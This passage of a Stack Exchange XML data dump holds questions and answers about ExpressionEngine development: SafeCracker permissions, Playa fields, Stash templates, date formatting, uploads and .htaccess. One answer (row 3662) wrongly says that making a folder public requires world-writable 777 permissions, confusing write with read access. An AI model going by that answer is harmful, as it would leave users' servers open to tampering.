should work in EE. You can even load Database Forge to create and edit tables via &lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;dbforge()&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-11T20:31:25.697" LastActivityDate="2013-01-11T20:31:25.697" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="2" ParentId="3631" CreationDate="2013-01-11T20:34:00.703" Score="5" Body="&lt;p&gt;The full array of tag params is stored at $EE-&gt;TMPL-&gt;tagparams. So you can grab them like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get the EE instance&#xA;$EE = get_instance();&#xA;&#xA;// Get all of the current tag params&#xA;$all_params = $EE-&amp;gt;TMPL-&amp;gt;tagparams;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From there you can loop through and find all of the params that begin with “search:” like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Find all of the search:xyz params&#xA;$search_params = array();&#xA;&#xA;foreach ($all_params as $name =&amp;gt; $value)&#xA;{&#xA;    // Does this param name start with &quot;search:&quot;?&#xA;    if (strncmp($name, 'search:', 7) === 0)&#xA;    {&#xA;        // Chop off &quot;search:&quot; and save it&#xA;        $search_target = substr($name, 7);&#xA;        $search_params[$search_target] = $value;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-01-11T20:34:00.703" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3644" PostTypeId="1" CreationDate="2013-01-11T20:46:25.143" Score="2" ViewCount="200" Body="&lt;p&gt;I have a SafeCracker form that will allow users to enter data about a trip. Users will not necessarily be logged in when submitting the form. For that I have set up a &quot;Guest Posters&quot; member group. That group contains a single &quot;Guest Poster&quot; user. That user's member_id is used for the logged_out_member_id parameter in SafeCracker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That part all works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things fall apart when a user wants to edit a form submitted by somebody else. This can happen if, for example, an admin starts the form for a user and then hands it off to the user to complete the rest. In that scenario, if the user submits the form he sees the error: &quot;You are not authorized to perform this action&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error message originates because can_edit_other_entries (&quot;Can edit entries authored by others&quot; in the control panel) is set to 'n' for logged out users. But since I have that value set to 'y' for the &quot;Guest Posters&quot; group, I would expect the form submission to succeed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've stared at this for too long. At this point I figure there are two possibilities: either the solution is obvious and Friday fatigue has blinded me; or this is a bug in EE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2013-01-14T16:26:11.577" Title="SafeCracker, guests, and can_edit_other_entries" Tags="|safecracker|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostTypeId="1" AcceptedAnswerId="3650" CreationDate="2013-01-11T21:04:49.927" Score="4" ViewCount="182" Body="&lt;p&gt;I'm working on a site with hundreds of templates that were all saved in the database. If I run a query to change &quot;save_template_file&quot; to &quot;y&quot; and then run synchronize, will that work? Any horror stories around doing this?&lt;/p&gt;&#xA;" OwnerUserId="770" LastActivityDate="2013-02-02T20:59:12.363" Title="How can I quickly create files for all of my templates?" Tags="|templates|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="1" CreationDate="2013-01-11T21:08:26.843" Score="2" ViewCount="289" Body="&lt;p&gt;Here's my scenario: I've got 2 channels, accounts and leads. The leads channel has a playa field (single select) that relates to accounts. Then I have a safecracker form that allows users to create a new lead entry. Everything works fine. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the current workflow dictates that the account must already exist before a lead can be associated with it. The ideal solution would allow the user to either choose an existing account, or create a new one without leaving the page, and updating the playa field with the new account. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I managed to get halfway there by placing a link beside the playa field which fires a modal with another safecracker form for the account creation, and using ajax to refresh playa select field. After adding the account entry, the new entry shows up in the playa select field, but when I submit the lead form, the playa field isn't being saved to the entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone tackled a similar problem? I would love to hear your solution/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fabian&lt;/p&gt;&#xA;" OwnerUserId="769" LastEditorUserId="268" LastEditDate="2013-01-15T01:05:52.943" LastActivityDate="2013-01-15T01:05:52.943" Title="Updating a Playa select field in a Safecracker form" Tags="|add-on|safecracker|playa|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="3648" PostTypeId="5" CreationDate="2013-01-11T22:13:07.503" Score="0" Body="&lt;p&gt;Git is an open-source DVCS (Distributed Version Control System) with an emphasis on speed. Git was initially designed and developed by Linus Torvalds for Linux kernel development. Every Git working directory contains a full-fledged repository with complete history and full revision tracking capabilities, not dependent on network access or a central server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Git has found considerable popularity among EE developers, and there are a number of EE specific resources relating to Git:&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;General introductions to Git&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://book.git-scm.com/&quot; rel=&quot;nofollow&quot;&gt;The Git Community Book&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://git.wiki.kernel.org/index.php/Main_Page&quot; rel=&quot;nofollow&quot;&gt;Official Git Wiki&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://git-scm.com/documentation&quot; rel=&quot;nofollow&quot;&gt;Git online documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://git.kernel.org/?p=git/git.git;a=summary&quot; rel=&quot;nofollow&quot;&gt;Git source code&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Git_%28software%29&quot; rel=&quot;nofollow&quot;&gt;Git Wikipedia Article&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Using Git with ExpressionEngine&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://focuslabllc.com/blog/eeci2011-environments-and-version-control-in-expressionengine&quot; rel=&quot;nofollow&quot;&gt;FocusLab: EECI2011: ENVIRONMENTS AND VERSION CONTROL IN EXPRESSIONENGINE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ee-podcast.com/episodes/version-control-with-ee&quot; rel=&quot;nofollow&quot;&gt;EE Podcast, Version Control with EE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2013-01-11T22:20:18.637" LastActivityDate="2013-01-11T22:20:18.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3649" PostTypeId="4" CreationDate="2013-01-11T22:13:07.503" Score="0" Body="Git is a distributed version control (VCS) and source code management (SCM) system." OwnerUserId="104" LastEditorUserId="104" LastEditDate="2013-01-11T22:20:08.717" LastActivityDate="2013-01-11T22:20:08.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3650" PostTypeId="2" ParentId="3645" CreationDate="2013-01-11T22:34:26.537" Score="3" Body="&lt;p&gt;Does running the query &amp;amp; sync create the files? In the past I've had to export all the templates. That will create a default_site.zip open that, dump that into where I'm saving templates and then run the query to change save_template_file to 'y'&lt;/p&gt;&#xA;" OwnerUserId="146" LastActivityDate="2013-01-11T22:34:26.537" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostTypeId="2" ParentId="3646" CreationDate="2013-01-11T22:49:25.017" Score="3" Body="&lt;p&gt;This may or may not be what you're looking for as I only really glanced at your question. I had a problem with playa fields in that I was using the wrong name on the select.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example if your playa field name is lead_account, rather than declaring your select with the name: lead_account you specify it as lead_account[selections][]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conor&lt;/p&gt;&#xA;" OwnerUserId="695" LastActivityDate="2013-01-11T22:49:25.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostTypeId="1" AcceptedAnswerId="3653" CreationDate="2013-01-11T22:57:43.907" Score="1" ViewCount="35" Body="&lt;p&gt;When submitting my form that stores my &lt;code&gt;facebook id&lt;/code&gt; it is sent to the method &lt;code&gt;save_settings()&lt;/code&gt;. No matter what I do I can't dump variables or echo them out to see what is being sent, so I think this is because it's not actually getting to the method for whatever reason. My form action params are:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?S=32016fcb4a352c152f953d5a97d8efb6a290edfc&amp;amp;D=cp&amp;amp;&amp;amp;method=save_settings&amp;amp;method=save_settings&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if having the double &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt; is an issue. Here are my URL vars controlling this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;_base_url = BASE . AMP . 'C=addons_modules'.AMP.'M=show_module_cp'.AMP.'module=facebook_photos';&#xA;        $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('text');        &#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the form variable sent to the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$data = array(&#xA;        'form_action' =&amp;gt; $this-&amp;gt;base_url . AMP . 'method=save_settings',&#xA;        'facebook_id' =&amp;gt; $results-&amp;gt;setting_value&#xA;    );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="767" LastActivityDate="2013-01-11T23:31:29.600" Title="Information isn't updating &amp; tracing" Tags="|php|database|module|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostTypeId="2" ParentId="3652" CreationDate="2013-01-11T23:31:29.600" Score="1" Body="&lt;p&gt;Ok so I figured out the issues, my &lt;code&gt;form_action&lt;/code&gt; variable was linking to &lt;code&gt;$this-&amp;gt;base_url&lt;/code&gt; instead of &lt;code&gt;$this-&amp;gt;_base_url&lt;/code&gt; that I had set at the beginning. This then sent the POST information to the correct path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I was able to troubleshoot the PHP like I normally would by dumping variables out to see why the redirect wasn't working. The redirect wasn't working because of the necessary &lt;code&gt;AMP&lt;/code&gt; after &lt;code&gt;BASE&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally the database is updating as I put the full table name of &lt;code&gt;exp_fb_photo_settings&lt;/code&gt; vs &lt;code&gt;fb_photo_settings&lt;/code&gt; I was using in the dbforge function on the install script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="767" LastActivityDate="2013-01-11T23:31:29.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="1" CreationDate="2013-01-12T02:17:17.083" Score="4" ViewCount="1235" Body="&lt;p&gt;I've recently migrated a site, and now when uploading pictures through the file manager in Wygwaym images large enough to require a thumbnail cannot be uploaded, very small images, however, can be.  I've verified that the _thumbs directory exists, and has the correct permission.  As noted in some old EE Forum threads, I've also ensured that the server user that created the folder and the one the site runs as are the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts?&lt;/p&gt;&#xA;" OwnerUserId="364" LastEditorUserId="563" LastEditDate="2013-04-30T17:09:32.543" LastActivityDate="2018-11-17T10:02:27.857" Title="&quot;Thumbnail could not be created for the image.&quot; Error" Tags="|wygwam|file-uploads|file-manager|" AnswerCount="4" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostTypeId="1" CreationDate="2013-01-12T07:21:13.983" Score="0" ViewCount="863" Body="&lt;p&gt;I have a website with expressionengine. website struture is &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- Codeigniter&lt;/p&gt;&#xA;&#xA;&lt;p&gt;---- system&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-- expressionengine&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/test&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a folder test, I would like to make it accessible to public. I am not getting anything from htaccess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I done it?&lt;/p&gt;&#xA;" OwnerUserId="762" LastActivityDate="2013-01-12T12:25:38.213" Title="How can I allow directory access to public" Tags="|htaccess|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3656" PostTypeId="1" AcceptedAnswerId="3687" CreationDate="2013-01-12T08:15:03.220" Score="3" ViewCount="459" Body="&lt;p&gt;I am trying to use stash to kill multiple queries to the same channel in multiple places in the site/page. This is my stash embed file called 'featured.html':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:channel:entries channel=&quot;homepage_featured_items&quot; dynamic=&quot;no&quot; show_expired_entries=&quot;yes&quot; orderby=&quot;date&quot; category='40|41|42|162' disable=&quot;member_data|category_fields|pagination&quot;}&#xA;      {exp:stash:append_list name='featured_list'}&#xA;        {stash:this_category}{categories}{category_id}{/categories}{/stash:this_category}&#xA;        {stash:article}&#xA;          &amp;lt;article class=&quot;col_4 col left&quot;&amp;gt;&#xA;              &amp;lt;header&amp;gt;&#xA;                &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{featured_item_link}&quot;&amp;gt;{featured_short_text}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;              &amp;lt;/header&amp;gt;  &#xA;              &amp;lt;div class='article-content'&amp;gt; &#xA;                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{featured_item_link}&quot;&amp;gt;{featured_short_description}&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;              &amp;lt;/div&amp;gt;            &#xA;              {exp:ce_img:pair src=&quot;{featured_image_home}&quot; width=&quot;220&quot; height=&quot;150&quot; crop=&quot;yes|center,top|0,0&quot;}&#xA;                &amp;lt;img src=&quot;{made}&quot; alt=&quot;{title}&quot; width=&quot;{width}&quot; height=&quot;{height}&quot; /&amp;gt;&#xA;              {/exp:ce_img:pair}    &#xA;          &amp;lt;/article&amp;gt;&#xA;         {/stash:article}&#xA;      {/exp:stash:append_list}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I would like to bring different categories in like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;featured_home&quot;&amp;gt;&#xA;    {exp:stash:embed:featured}&#xA;    {!-- 40,41,42,162 --}&#xA;    {exp:stash:get_list name=&quot;featured_list&quot;  match=&quot;#^.*40.*$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;      {article}&#xA;    {/exp:stash:get_list}&#xA;  &amp;lt;/div&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But for some reason I am getting nothing. I put output='yes' on my stash embed append_list tag and I got all of the information I am looking for (albeit more articles than I wanted), but I can't call the context or the category. Ideally I would like to call these all over the page(s) of the site: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:stash:get_list name=&quot;featured_list&quot;  match=&quot;#^.&lt;em&gt;40.&lt;/em&gt;$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;{exp:stash:get_list name=&quot;featured_list&quot;  match=&quot;#^.&lt;em&gt;41.&lt;/em&gt;$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;{exp:stash:get_list name=&quot;featured_list&quot;  match=&quot;#^.&lt;em&gt;42.&lt;/em&gt;$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&#xA;{exp:stash:get_list name=&quot;featured_list&quot;  match=&quot;#^.&lt;em&gt;162.&lt;/em&gt;$#&quot; against=&quot;this_category&quot; limit=&quot;1&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, am I saving anything but multiple calls in this instance? Should I be looking for a context in this case?&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2013-12-30T13:05:30.970" Title="Using Stash to Filter by Category" Tags="|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3658" PostTypeId="2" ParentId="3618" CreationDate="2013-01-12T10:12:47.990" Score="1" Body="&lt;p&gt;For navigation, whether I am using an embed method or the &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash/&quot; rel=&quot;nofollow&quot;&gt;template partials&lt;/a&gt; with &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; approach, I find it easier to pass a parameter specifying which section I want active rather than trying to detect it manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my experience there is always an edge case requiring a more manual / granular approach that will defeat any automatic setup down the road.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Embeds&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In main template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;embeds/.header&quot; active_nav=&quot;articles&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In embedded template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a{if embed:active_nav == &quot;articles&quot;} class=&quot;active&quot;{/if} href=&quot;{site_url}articles/&quot;&amp;gt;Articles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a{if embed:active_nav == &quot;news&quot;} class=&quot;active&quot;{/if} href=&quot;{site_url}news/&quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    ...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;template partials&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In partial template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/.main&quot;}&#xA;{exp:stash:set_value name=&quot;active_nav&quot; value=&quot;articles&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In layout (.main) template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a{if &quot;{exp:stash:get name='active_nav'}&quot; == &quot;articles&quot;} class=&quot;active&quot;{/if} href=&quot;{site_url}articles/&quot;&amp;gt;Articles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&amp;lt;a{if &quot;{exp:stash:get name='active_nav'}&quot; == &quot;news&quot;} class=&quot;active&quot;{/if} href=&quot;{site_url}news/&quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    ...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Variant with body class only&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In partial template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;layouts/.main&quot;}&#xA;{exp:stash:set_value name=&quot;body_class&quot; value=&quot;body_articles&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In layout template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body{if {exp:stash:not_empty name=&quot;body_class&quot;}} class=&quot;{exp:stash:get name='body_class'}&quot;{/if}&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;    &amp;lt;li class=&quot;articles&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}articles/&quot;&amp;gt;Articles&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;news&quot;&amp;gt;&amp;lt;a href=&quot;{site_url}news/&quot;&amp;gt;News&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;...&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your CSS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.body_articles .articles &amp;gt; a&#xA;{&#xA;    do something&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From the two add-ons mentioned by Anna, I would go down the switchee route&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:switchee variable=&quot;{segment_2}&quot; parse=&quot;inward&quot;}&#xA;&#xA;    {case value=&quot;#^P(\\d+)$#|''&quot;}&#xA;        code if pagination page&#xA;    {/case}&#xA;&#xA;    {case default=&quot;Yes&quot;}&#xA;        code if not a pagination page&#xA;    {/case}&#xA;&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The advantage of switchee beeing that, if you have channel entries loops or anything heavy process-wise, it only get executed should the tested condition apply. Better for performance.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditDate="2013-01-13T14:20:40.470" LastActivityDate="2013-01-13T14:20:40.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3659" PostTypeId="1" AcceptedAnswerId="18517" CreationDate="2013-01-12T11:59:25.287" Score="4" ViewCount="1030" Body="&lt;p&gt;Is there a reason the edit_date in exp_channel_titles isn't in Unix time format?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to display the last edit date of a section of a website so I'm doing a simple query&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT title, edit_date FROM exp_channel_titles&#xA;                 INNER JOIN exp_structure using(entry_id)&#xA;                 WHERE (exp_structure.channel_id ='4' OR parent_id ='13') &#xA;                 ORDER BY edit_date DESC LIMIT 1&quot;}&#xA;       {edit_date format=&quot;%d%S %F %Y&quot;}&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However the edit date seems to be formatted in a non unix timestamp. Is there a specific reason for this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;/system/expressionengine/libraries/api/Api_channel_entries.php is set to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'edit_date' =&amp;gt; $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date('%Y%m%d%H%i%s', $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now, FALSE),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Should this be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'edit_date' =&amp;gt; $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;decode_date('%U', $this-&amp;gt;EE-&amp;gt;localize-&amp;gt;now, FALSE),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VBLRK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT - reason for asking&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ask because my outputs do not format correctly:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg; edit_Date of 20130111181835&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Last Updated - {edit_date format=&quot;%F %d, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;outputs - &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Last Updated - October 30, 639867&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I've since tried priting the edit date of a normal post and it still it not formatted correctly. I will go check my settings... &lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="28" LastEditDate="2013-01-13T01:11:32.967" LastActivityDate="2014-01-21T04:43:36.987" Title="ExpressionEngine edit_date formatting" Tags="|edit-date|date-format|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3660" PostTypeId="2" ParentId="3655" CreationDate="2013-01-12T12:19:43.260" Score="2" Body="&lt;p&gt;First - I'm presuming you're serving on a Unix system. You'll require either shell access to the directory or s/FTP access that can change owner and permission&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have to give the public Read Access on the folder and the files (via chmod). You also might want to make sure the owner of the files only ('chown') are your web-user (often something like www-data). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remember - read only, not write access (which is also delete access). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at &lt;a href=&quot;http://www.dartmouth.edu/~rc/help/faq/permissions.html&quot; rel=&quot;nofollow&quot;&gt;this brief tutorial from Dartmouth&lt;/a&gt; and get up to speed on how to open up permissions to your files, but seriously - use it with care. The wrong permissions and ownership can mean compromising your installation. Also, I would only allow access to a directory in the /images/uploads/ path - that's what it's intention is there for. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-01-12T12:19:43.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3661" PostTypeId="2" ParentId="3654" CreationDate="2013-01-12T12:21:36.627" Score="2" Body="&lt;p&gt;Make sure the directories are web-user writable and are owned by the systems' webuser. Check the ownership of files uploaded through the control panel to images - often it's a &lt;code&gt;www-data:www-data&lt;/code&gt; pair. &lt;/p&gt;&#xA;" OwnerUserId="175" LastActivityDate="2013-01-12T12:21:36.627" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3662" PostTypeId="2" ParentId="3655" CreationDate="2013-01-12T12:25:38.213" Score="0" Body="&lt;p&gt;Public directory aren't really the realm of ExpressionEngine, that's a basic website question, which maybe more appropriate for &lt;a href=&quot;http://stackoverflow.com&quot;&gt;Stackoverflow&lt;/a&gt;. That said, the general conditions for making a directory public is to make it &lt;em&gt;world writable&lt;/em&gt; using permissions. World writable is consider &lt;code&gt;777&lt;/code&gt; or &lt;code&gt;rwxrwxrwx&lt;/code&gt; permissions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, your ISP will provide you some access to change permissions of files and directories within your public_html folder. Most FTP applications also provide the opportunity to visually change permissions, so that you don't need to know the unix &lt;code&gt;chmod&lt;/code&gt; command. Obviously, there can be security implications for making a folder world readable, generally you don't want to allow executable files in those directors, more like images, pdfs, etc.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-12T12:25:38.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3663" PostTypeId="2" ParentId="3659" CreationDate="2013-01-12T12:47:43.333" Score="3" Body="&lt;p&gt;I'm not certain if your question is answerable as is, at least from non-Ellis Lab developers. It inquires about a reason, rather than asking for guidance or a solution. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I can say is the &lt;code&gt;edit_date&lt;/code&gt; format has been in non-Unix time format from before ExpressionEngine 2.5.5. I checked three sites: one using 2.5.5, one using 2.5.3, and one using 1.7.2 all have the edit date stored the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can also say, this doesn't change the expected behavior of the &lt;code&gt;edit_date&lt;/code&gt; &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#edit-date&quot; rel=&quot;nofollow&quot;&gt;variable&lt;/a&gt; as indicated by the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine User Guide&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{edit_date format=&quot;%F %d, %Y&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and it returns &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;November 29, 2012&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So while I can't state the reason why they would store it in non-unix format, it does look like it was planned, since their date variables work appropriately for it.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-12T12:47:43.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
